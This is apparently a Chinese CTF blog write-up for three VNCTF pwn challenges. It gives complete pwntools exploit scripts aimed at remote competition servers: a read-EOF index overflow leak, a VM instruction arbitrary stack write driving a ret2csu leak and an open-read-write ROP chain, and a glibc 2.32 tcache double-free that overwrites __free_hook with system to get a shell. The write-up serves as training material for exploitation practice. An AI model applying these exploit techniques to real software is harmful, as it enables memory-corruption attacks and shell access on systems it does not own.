这里有一个比较巧妙地知识，就是我们泄露时，需要用到一个 索引向上溢出，也即要保证我们地 read返回 为0。这里可以利用 pwntools的如下函数，断开连接，即可使 read读取 EOF,从而返回 0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.update(arch='amd64',os='linux',log_level='info')
context.terminal=(['tmux','split','-h'])
filename='./pwn2'
debug = 0
if debug == 1:
    p = process(filename)
    elf = ELF(filename)
else:
    p = remote('node4.buuoj.cn', 39123)

def Add(size):
    p.sendlineafter('choice:',str(''))
    p.sendlineafter('size:\n',str(size))

def Delete(idx):
    p.sendlineafter('choice:','11')
    p.sendlineafter('index:',str(idx))

def Edit(idx,payload):
    p.sendlineafter('choice:','111')
    p.sendlineafter('index:',str(idx))
    p.sendafter('Content:', payload)

sz = 0x310
while True:
    Add(0x200)
    Add(0x10)
    Add(0x10)
    Add(sz)

    Edit(3, 'a'*0x10)

    p.recvuntil('choice:')
    p.shutdown_raw('send')

    flag = p.recvline()
    print('flag:',flag)
    if b'}' in flag:
        break
    p.close()
    #p = process(filename)
    p = remote('node4.buuoj.cn', 39123)
#vnctf{93259ec4400bc54ec4c6696a4c8b6de5

hh

一个比较简单的vm，重点官族如下两个指令：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
case 9u:
  ++ptr;
  v6 = code_ptr++;
  res_buf[ptr + 1000] = code_buf[v6];     // ptr++;code_ptr++;
                                          // stack[ptr+1000]=buf[code_ptr]
  break;
case 0xDu:
  v11 = code_ptr++;
  v30 = code_buf[v11];
  v12 = ptr--;
  res_buf[v30] = res_buf[v12 + 1000];     // i=code_ptr++;
                                          // idx=buf[i];
                                          // x=ptr--;
                                          // stack[idx]=stack[x+1000];
  break;

指令 9，可以将我们的 输入 buf[code_ptr]赋值给 栈上的数据 stack[ptr+1000]。指令 D，可已将栈上的数据 stack[x+1000]的值赋值给栈上 stack[idx]，其中 idx是由我们指定的。

那么根据这两个指令组合，我们即可实现栈上任意地址写。我们可以先通过 指令 9，将我们的数据，写入栈上。然后再通过 指令D，将输入的数据依次 赋值给栈上的指定地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'split', '-h'])
filename = './hh'
libcname = '/lib/x86_64-linux-gnu/libc.so.6'
debug = 0
if debug == 1:
    p = process(filename)
    libc = ELF(libcname)
    elf = ELF(filename)
else:
    p = remote('node3.buuoj.cn',26043)
    libc = ELF('./libc.so.6')
    elf = ELF(filename)

def putcode(payload):
    p.sendlineafter('Give me you choice :', str(1))
    p.sendlineafter('code:', payload)

def execode():
    p.sendlineafter('Give me you choice :', str(2))

csu_front_addr = 0x401180
csu_end_addr = 0x40119a
def csu(call_addr, arg1, arg2, arg3):
    payload = p64(0)+p64(1)+p64(call_addr)+p64(arg3)+p64(arg2)+p64(arg1)
    payload += p64(csu_front_addr)
    return payload

def pushcode(arg):
    payload = p32(0x9)+arg
    return payload

def movcode(off):
    payload = p32(0xd)+p32(off)
    return payload

def Pwn():
    main_addr = 0x401084
    puts_got = elf.got['puts']
    read_got = elf.got['read']

    payload = p64(csu_end_addr)+csu(puts_got, puts_got, 0, 0)+p64(0)*7+p64(main_addr)
    i = len(payload)
    code = ""

    print(payload[:4])

    off1 = 0x7d6

    while i > 0:
        code += pushcode(payload[i-4:i])
        i -= 4
    i = 0
    while i < len(payload):
        code += movcode(off1)
        off1 += 1
        i += 4

    #gdb.attach(p, 'bp 0x4010b8')
    putcode(code)

    execode()
    libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
    print('libc_base:',hex(libc.address))

    system = libc.sym['system']
    bin_sh_addr = next(libc.search('/bin/sh\x00'))
    print('bin_addr:',hex(bin_sh_addr))

    p_rdi_r = 0x4011a3
    pop_rdx_rsi = 0x115189+libc.address
    pop_rax_r = 0x3a738 + libc.address
    free_hook = libc.sym['__free_hook']
    p_rdx_r = 0x1b92+libc.address
    p_rsi_r = 0x202f8 +libc.address

    orw = flat([
        p_rdi_r, 0,
        p_rsi_r, free_hook,
        p_rdx_r, 0x30,
        libc.sym['read'],
        p_rdi_r, free_hook,
        p_rsi_r, 0,
        libc.sym['open'],
        p_rdi_r, 3,
        p_rsi_r, free_hook+0x30,
        p_rdx_r, 0x30,
        libc.sym['read'],
        p_rdi_r, 1,
        p_rsi_r, free_hook+0x30,
        p_rdx_r, 0x30,
        libc.sym['write']
    ])

    payload = orw
    i = len(payload)
    code = ""
    print(payload[:4])
    off1 = 0x7d6

    while i > 0:
        code += pushcode(payload[i-4:i])
        i -= 4
    i = 0
    while i < len(payload):
        code += movcode(off1)
        off1 += 1
        i += 4
    putcode(code)

    execode()
    p.sendline('./flag\x00')
    p.interactive()

Pwn()

ff

2.32 下的 UAF漏洞，2.32新加的保护，之前已经讲过，这里不做介绍。

大概思路，就是利用 UAF构造一次 double_free，来劫持 tcache_perthread_struct，并在 tcache链上留下 libc地址。随后 通过 stdout来泄露地址，并劫持 free_hook，执行 orw。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context.update(arch='amd64',os='linux',log_level='info')
context.terminal=(['tmux','split','-h'])
filename = "./pwn"
libcname = "/lib/x86_64-linux-gnu/libc.so.6"
debug = 0
if debug == 1:
    p = process(filename)
    libc = ELF(libcname)
    elf = ELF(filename)
else:
    p = remote('node3.buuoj.cn',27399)
    libc = ELF('./libc.so.6')
    elf = ELF(filename)

def Add(size, payload):
    p.sendlineafter('>>', str(1))
    p.sendlineafter('Size:', str(size))
    p.sendafter('Content:',payload)

def Delete():
    p.sendlineafter('>>', str(2))

def Show():
    p.sendlineafter('>>', str(3))

def Edit(payload):
    p.sendlineafter('>>', str(5))
    p.sendafter('Content:', payload)

def enc(addr1, addr2):
    addr = (addr1>>12)^addr2
    return addr

while True:
    try:
        Add(0x7e, 'a'*10)
        Delete()
        #gdb.attach(p, 'bp $rebase(0xe19)')

        #gdb.attach(p, 'bp $rebase(0xe19)')
        Show()

        heap_addr = u64(p.recv(6).ljust(8, b'\x00'))
        heap_base = heap_addr<<12
        print("heap_addr:",hex(heap_base))

        addr1 = enc(heap_base+0x2a0, heap_base+0x10)
        payload = p64(addr1)+"a"*8
        Edit(payload)
        #gdb.attach(p, 'bp $rebase(0xe19)')
        #double free
        Delete()
        Edit(payload)
        Delete()
        Add(0x7e, payload)  #2
        #gdb.attach(p, 'bp $rebase(0xe19)')
        payload = p64(0)*9+p32(0)+p16(0)+b'\x07\x00'
        Add(0x7e, payload)     #3
        Add(0X7e, payload)     #tcache_perthread

        Delete()
        payload = p32(0)+b'\x01\x00'*2+p32(0)+b'\x01\x00'*2
        #gdb.attach(p, 'bp $rebase(0xe19)')
        Add(0x7e, payload)  #4
        payload = p64(0)+b'\xc0\x56'
        Add(0x10, payload)  #tcache to stdout

        payload = p64(0xfbad1800 | 0x1000) + p64(0) * 3 + "\x00"
        Add(0x40, payload)

        libc_addr = u64(p.recvuntil('\x7f', timeout=1)[-6:].ljust(8, b'\x00'))
        print('libc_addr:',hex(libc_addr))
        if '\x7f' not in p64(libc_addr):
            raise EOFError

        break
    except:
        p.close()
        #p = process('./pwn')
        p = remote('node3.buuoj.cn', 27399)

libc_base = libc_addr - 0x1e4744
print('libc_base:',hex(libc_addr))
#gdb.attach(p, 'bp $rebase(0xe19)')
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

Add(0x10, p64(free_hook))
Add(0x70, p64(system))
Add(0x20, '/bin/sh\x00')
Delete()
p.sendline('')

#Pwn()
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing